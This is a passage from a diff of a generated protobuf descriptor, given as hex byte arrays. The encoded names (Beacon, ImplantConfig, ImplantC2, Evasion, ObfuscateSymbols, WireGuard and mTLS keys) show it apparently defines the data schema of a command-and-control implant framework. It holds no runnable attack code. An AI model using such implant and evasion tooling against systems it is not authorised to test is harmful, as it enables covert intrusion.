0x6e, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, + 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x18, 0x12, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x18, 0x14, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, - 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x12, 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, - 0x64, 0x18, 0x16, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x12, - 0x1e, 0x0a, 0x0a, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x17, 0x20, - 0x03, 0x28, 0x09, 0x52, 0x0a, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, - 0x16, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x19, 0x20, 0x01, 0x28, 0x03, 0x52, - 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, - 0x65, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, - 0x22, 0x0a, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, - 0x1b, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, - 0x61, 0x63, 0x74, 0x22, 0x82, 0x06, 0x0a, 0x06, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x0e, - 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, - 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, - 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, - 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, - 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x10, - 0x0a, 0x03, 0x55, 0x49, 0x44, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x49, 0x44, - 0x12, 0x10, 0x0a, 0x03, 0x47, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x47, - 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, - 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, - 0x6f, 0x72, 0x74, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, - 0x70, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, - 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52, 0x65, 0x6d, - 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x49, - 0x44, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x50, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, - 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, - 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4c, 0x61, 0x73, 0x74, - 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4c, - 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x41, 0x63, - 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x41, 0x63, - 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, - 0x6e, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, - 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x11, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x49, 0x73, - 0x44, 0x65, 0x61, 0x64, 0x18, 0x12, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x49, 0x73, 0x44, 0x65, - 0x61, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x18, 0x14, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x12, 0x2c, - 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, - 0x76, 0x61, 0x6c, 0x18, 0x15, 0x20, 0x01, 0x28, 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, - 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x1a, 0x0a, 0x08, - 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x16, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, - 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x16, 0x0a, 0x06, 0x4a, 0x69, 0x74, 0x74, - 0x65, 0x72, 0x18, 0x17, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, - 0x12, 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x18, 0x18, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x4e, 0x65, 0x78, 0x74, - 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x18, 0x19, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4e, - 0x65, 0x78, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, - 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, - 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x30, 0x0a, 0x13, 0x54, 0x61, - 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, - 0x64, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x03, 0x52, 0x13, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, - 0x75, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x12, 0x16, 0x0a, 0x06, - 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x1c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c, 0x6f, - 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, - 0x74, 0x61, 0x63, 0x74, 0x18, 0x1d, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46, 0x69, 0x72, 0x73, - 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x22, 0x35, 0x0a, 0x07, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x73, 0x12, 0x2a, 0x0a, 0x07, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x18, 0x02, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x52, 0x07, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x22, - 0xfe, 0x01, 0x0a, 0x0a, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, - 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, - 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x74, - 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, - 0x0a, 0x06, 0x53, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, - 0x53, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, - 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x43, 0x6f, 0x6d, - 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x08, - 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x20, - 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x09, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, - 0x22, 0x55, 0x0a, 0x0b, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, - 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x2a, 0x0a, 0x05, 0x54, - 0x61, 0x73, 0x6b, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, - 0x52, 0x05, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x22, 0x53, 0x0a, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, - 0x6e, 0x74, 0x43, 0x32, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x50, 0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, - 0x12, 0x10, 0x0a, 0x03, 0x55, 0x52, 0x4c, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, - 0x52, 0x4c, 0x12, 0x18, 0x0a, 0x07, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x07, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xfb, 0x0d, 0x0a, - 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, - 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, - 0x0a, 0x08, 0x49, 0x73, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x08, 0x49, 0x73, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x26, 0x0a, 0x0e, 0x42, 0x65, - 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x03, 0x52, 0x0e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, - 0x61, 0x6c, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x4a, 0x69, 0x74, 0x74, - 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, - 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x05, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, - 0x41, 0x52, 0x43, 0x48, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, - 0x43, 0x48, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x44, 0x65, 0x62, 0x75, 0x67, 0x18, - 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x44, 0x65, 0x62, 0x75, 0x67, 0x12, 0x18, 0x0a, 0x07, - 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, - 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x2a, 0x0a, 0x10, 0x4f, 0x62, 0x66, 0x75, 0x73, 0x63, - 0x61, 0x74, 0x65, 0x53, 0x79, 0x6d, 0x62, 0x6f, 0x6c, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x10, 0x4f, 0x62, 0x66, 0x75, 0x73, 0x63, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6d, 0x62, 0x6f, - 0x6c, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x4e, 0x61, - 0x6d, 0x65, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, - 0x74, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x47, 0x4e, 0x45, 0x6e, 0x61, - 0x62, 0x6c, 0x65, 0x64, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x53, 0x47, 0x4e, 0x45, - 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x41, - 0x43, 0x65, 0x72, 0x74, 0x18, 0x14, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x74, 0x6c, 0x73, - 0x43, 0x41, 0x43, 0x65, 0x72, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x65, - 0x72, 0x74, 0x18, 0x15, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x65, - 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x4d, 0x74, 0x6c, 0x73, 0x4b, 0x65, 0x79, 0x18, 0x16, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x07, 0x4d, 0x74, 0x6c, 0x73, 0x4b, 0x65, 0x79, 0x12, 0x2e, 0x0a, 0x12, - 0x41, 0x67, 0x65, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, - 0x65, 0x79, 0x18, 0x17, 0x20, 0x01, 0x28, 0x09, 0x52, 0x12, 0x41, 0x67, 0x65, 0x53, 0x65, 0x72, - 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x24, 0x0a, 0x0d, - 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x18, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0d, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, - 0x65, 0x79, 0x12, 0x26, 0x0a, 0x0e, 0x50, 0x65, 0x65, 0x72, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, - 0x65, 0x4b, 0x65, 0x79, 0x18, 0x19, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x50, 0x65, 0x65, 0x72, - 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x36, 0x0a, 0x16, 0x50, 0x65, - 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x53, 0x69, 0x67, 0x6e, 0x61, - 0x74, 0x75, 0x72, 0x65, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x16, 0x50, 0x65, 0x65, 0x72, - 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, - 0x72, 0x65, 0x12, 0x38, 0x0a, 0x17, 0x4d, 0x69, 0x6e, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x53, 0x65, - 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x1b, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x17, 0x4d, 0x69, 0x6e, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x53, 0x65, 0x72, - 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x10, - 0x57, 0x47, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x4b, 0x65, 0x79, - 0x18, 0x1e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x57, 0x47, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x50, 0x72, 0x69, 0x76, 0x4b, 0x65, 0x79, 0x12, 0x26, 0x0a, 0x0e, 0x57, 0x47, 0x53, 0x65, - 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x1f, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0e, 0x57, 0x47, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, - 0x12, 0x20, 0x0a, 0x0b, 0x57, 0x47, 0x50, 0x65, 0x65, 0x72, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x18, - 0x20, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x57, 0x47, 0x50, 0x65, 0x65, 0x72, 0x54, 0x75, 0x6e, - 0x49, 0x50, 0x12, 0x2c, 0x0a, 0x11, 0x57, 0x47, 0x4b, 0x65, 0x79, 0x45, 0x78, 0x63, 0x68, 0x61, - 0x6e, 0x67, 0x65, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x21, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x57, + 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, + 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x15, 0x20, 0x01, + 0x28, 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, + 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, + 0x6c, 0x18, 0x16, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, + 0x6c, 0x12, 0x16, 0x0a, 0x06, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x17, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x06, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, + 0x6e, 0x65, 0x64, 0x18, 0x18, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, + 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x4e, 0x65, 0x78, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, + 0x18, 0x19, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4e, 0x65, 0x78, 0x74, 0x43, 0x68, 0x65, 0x63, + 0x6b, 0x69, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, + 0x74, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, + 0x75, 0x6e, 0x74, 0x12, 0x30, 0x0a, 0x13, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, + 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x03, + 0x52, 0x13, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x70, + 0x6c, 0x65, 0x74, 0x65, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, + 0x1c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, + 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x1d, 0x20, + 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, + 0x74, 0x22, 0x35, 0x0a, 0x07, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x2a, 0x0a, 0x07, + 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x10, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x52, + 0x07, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x22, 0xfe, 0x01, 0x0a, 0x0a, 0x42, 0x65, 0x61, + 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, + 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, + 0x6e, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, + 0x74, 0x12, 0x14, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x65, 0x6e, 0x74, 0x41, + 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x53, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x12, + 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x06, + 0x20, 0x01, 0x28, 0x03, 